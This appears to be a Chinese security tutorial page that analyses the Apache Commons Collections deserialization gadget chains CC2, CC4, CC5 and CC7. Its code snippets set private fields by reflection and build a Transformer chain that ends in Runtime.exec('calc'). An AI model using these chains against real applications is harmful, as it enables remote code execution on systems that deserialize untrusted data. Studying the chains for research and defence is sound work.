当前位置: 首页 > news >正文

JAVA攻防-手搓代码Gadget链细节分析反射调用类传入成员变量CC2CC4CC5

知识点:
Java攻防-手搓Gadget-反射调用-CC2&CC4&CC5

前面利用链都是使用commons.collections都是3.x版本的,那么来看一下4.x版本有哪些利用方式,把cc2,cc4,cc5,cc7都进行分析。

复现配置:pom.xml添加依赖:CC4版本

<dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.0</version></dependency>

演示案例-Java攻防-手搓Gadget-反射调用CC2&CC4&CC5

一、CC2

cc2中不通过实例化TrAXFilter进行类加载,而用InvokerTransformer PriorityQueue#readObject->PriorityQueue#heapify->PriorityQueue#siftDown->PriorityQueue#siftDownUsingComparator->comparator#compare->TransformingComparator#compare->InvokerTransformer#transform->TemplatesImpl#newTransformer->TemplatesImpl::getTransletInstance ->TemplatesImpl::defineTransletClasses ->TransletClassLoader::defineClass






















0、获取对象修改成员属性

Field declaredField=obj.getClass().getDeclaredField(fieldName);declaredField.setAccessible(true);declaredField.set(obj, value);

反射技术原理

1、TemplatesImpl#newTransformer

需要传入成员变量数据:_class _name _bytecodes _tfactoryif(_name!=null)if(_bytecodes!=null)if(_class==null)_tfactory=new TransformerFactoryImpl()其中:在TemplatesImpl#defineTransletClasses()中,_tfactory会被隐式调用_tfactory.getExternalExtensionsMap()是必须调用的方法,如果 _tfactory为null,此处会抛出 NullPointerException

2、InvokerTransformer

负责传递执行方法和参数数据 newTransformer new Class[]{}new Object[]{}

3、TransformingComparator

Comparator.compare(obj1,obj2)obj1=2obj2=templates

4、PriorityQueue

size=2


二、CC4

CC4可以看成是对CC2的改造,用InstantiateTransformer来替代InvokerTransformer PriorityQueue::readObject ->PriorityQueue#heapify->PriorityQueue#siftDown->PriorityQueue#siftDownUsingComparatorTransformingComparator::compare ChainedTransformer::transform ConstantTransformer::transform InstantiateTransformer::transform TrAXFilter::带参构造 TemplatesImpl::newTransformer ->TemplatesImpl::getTransletInstance ->TemplatesImpl::defineTransletClasses ->TransletClassLoader::defineClass

0、PriorityQueue、TransformingComparator、ChainedTransformer、TemplatesImpl类基本没什么变动

1、ConstantTransformer

new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};

2、InstantiateTransformer

new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})




三、CC5

基本和CC1一致,入口点换成BadAttributeValueExpException Gadget chain: BadAttributeValueExpException.readObject()TiedMapEntry.toString()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()

0、InvokerTransformer

通过反射调用 Class.getMethod()通过反射调用 Method.invoke()通过反射调用 Runtime.exec("calc")反射调用原型: Class aClass=Class.forName("java.lang.Runtime");//获取类 //用method获取成员方法 Method getRuntimeMethod=aClass.getMethod("getRuntime");//获取成员方法 Methodexec=aClass.getMethod("exec", String.class);//获取exec Object runtime=getRuntimeMethod.invoke(aClass);exec.invoke(runtime,"calc.exe");

1、ConstantTransformer

通过反射调用 Runtime.class new ConstantTransformer(Runtime.class);

2、Transformer[]的设计是为了分步反射调用

Transformer[]transformers=new Transformer[]{new ConstantTransformer(Runtime.class), // 固定返回 Runtime.class new InvokerTransformer("getMethod",...), // 获取 getRuntime()方法 new InvokerTransformer("invoke",...), // 调用 getRuntime()new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})// 执行命令};

3、LazyMap

反射利用HashMap通过decorate方法发送指向类 HashMap<Object, Object>objectObjectHashMap=new HashMap<>();Map decorate=LazyMap.decorate(objectObjectHashMap, chainedTransformer);

4、TiedMapEntry

通过getkey getvalue发送指向类 TiedMapEntry tiedMapEntry=new TiedMapEntry(decorate,"123");

5、BadAttributeValueExpException

调用设置varl值调用执行toString方法 BadAttributeValueExpException setFieldValue(badAttributeValueExpException,"val", tiedMapEntry);





四、CC7

基本和CC1一致,入口点换成Hashtable Gadget chain: Hashtable.readObject Hashtable.reconstitutionPut AbstractMapDecorator.equals AbstractMap.equals LazyMap.get ChainedTransformer.transform ConstantTransformer::transform InvokerTransformer.transform
http://www.cnnetsun.cn/news/774182.html

相关文章:

  • Qwen情感计算无响应?Zero-Download方案部署教程
  • 教育行业语音分析新方案:SenseVoiceSmall课堂互动检测实战
  • 2026年AI编码入门必看:IQuest-Coder-V1开源模型+弹性GPU部署实战
  • OCR性能对比实测:CPU与GPU下ResNet18推理速度差异
  • CAM++前端页面定制:UI修改实战教程
  • 告别配置难题!用verl镜像快速启动强化学习项目
  • 虚拟机中STM32CubeMX打不开:工业仿真平台搭建的操作指南
  • 零基础指南:应对ESP-IDF路径错误提示的正确方法
  • 工业控制面板中硬件I2C总线布局建议
  • Llama3-8B语音助手后端:ASR+NLP集成方案
  • 新手福音!PyTorch-2.x-Universal-Dev-v1.0让AI训练变得如此简单
  • unet卡通化支持哪些格式?JPG/PNG/WEBP实测对比
  • target_modules=all-linear是什么意思?LoRA配置解读
  • YOLO26数据集路径错误?data.yaml修改实战指导
  • FSMN VAD部署教程:从零开始搭建语音检测服务
  • Qwen3-4B-Instruct加载缓慢?SSD加速读取部署优化实战
  • TurboDiffusion游戏开发应用:NPC动作生成系统搭建指南
  • cv_resnet18_ocr-detection部署报错?常见问题解决步骤详解
  • JAVA|智能仿真并发项目-并行与并发
  • 为什么Z-Image-Turbo总启动失败?Supervisor守护进程配置指南
  • 麦橘超然影视预演案例:分镜图自动生成系统搭建
  • Agent Skills|工作机制+场景探索
  • 如何提升语音识别准确率?SenseVoiceSmall情感分析实战指南
  • YOLOv11与Wandb集成:实验跟踪与可视化部署实战
  • GPT-OSS-20B环保领域:监测报告生成部署教程
  • 基于YOLO11的智慧交通实战:车辆识别系统搭建教程
  • IQuest-Coder-V1 vs Gemini Code Assist:企业级编码辅助对比
  • PyTorch预装Pillow库作用解析:图像预处理实战案例
  • Qwen3-4B显存峰值过高?动态批处理优化实战案例
  • Multisim驱动Ultiboard布局布线一文说清